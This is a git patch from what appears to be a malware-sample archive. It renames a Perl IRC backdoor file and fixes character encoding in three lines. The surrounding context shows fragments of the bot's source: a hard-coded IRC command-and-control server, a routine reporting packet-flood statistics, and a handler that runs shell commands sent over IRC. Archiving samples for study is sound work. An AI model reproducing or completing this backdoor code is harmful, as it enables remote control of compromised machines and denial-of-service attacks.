From d372ccc7e1563957959e74c5370899463d23bc0c Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 14 Nov 2020 01:01:28 -0600
Subject: [PATCH] Rename Backdoor.Perl.Shellbot.a to Backdoor.Perl.Atrix.a

---
 Perl/{Backdoor.Perl.Shellbot.a => Backdoor.Perl.Atrix.a} | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)
 rename Perl/{Backdoor.Perl.Shellbot.a => Backdoor.Perl.Atrix.a} (95%)

diff --git a/Perl/Backdoor.Perl.Shellbot.a b/Perl/Backdoor.Perl.Atrix.a
similarity index 95%
rename from Perl/Backdoor.Perl.Shellbot.a
rename to Perl/Backdoor.Perl.Atrix.a
index 4d287ff9..2464a59f 100644
--- a/Perl/Backdoor.Perl.Shellbot.a
+++ b/Perl/Backdoor.Perl.Atrix.a
@@ -27,7 +27,7 @@ my $ircname = "rox";                     # User ID
 chop (my $realname = `uname -a`);              # Full Name                                    #
 #----------------------------------------------################################################
 $servidor="irc.gigachat.net" unless $servidor;  # Servidor de irc que vai ser usado            #
-                                               # caso não seja especificado no argumento      #
+                                               # caso não seja especificado no argumento      #
 #----------------------------------------------################################################
 my $porta="6667";	                       # Porta do servidor de irc                     #
 ################ ACESSO A SHELL ###############################################################
@@ -231,7 +231,7 @@ sub bfunc {
              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}));
              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
-             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
+             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
 
 
            }
@@ -286,7 +286,7 @@ sub shell {
   my $printl=$_[0];
   my $comando=$_[1];
   if ($comando =~ /cd (.*)/) {
-    chdir("$1") || msg("$printl", "Diertório inexistente!");
+    chdir("$1") || msg("$printl", "Diertório inexistente!");
     return;
   } 
   elsif ($pid = fork) {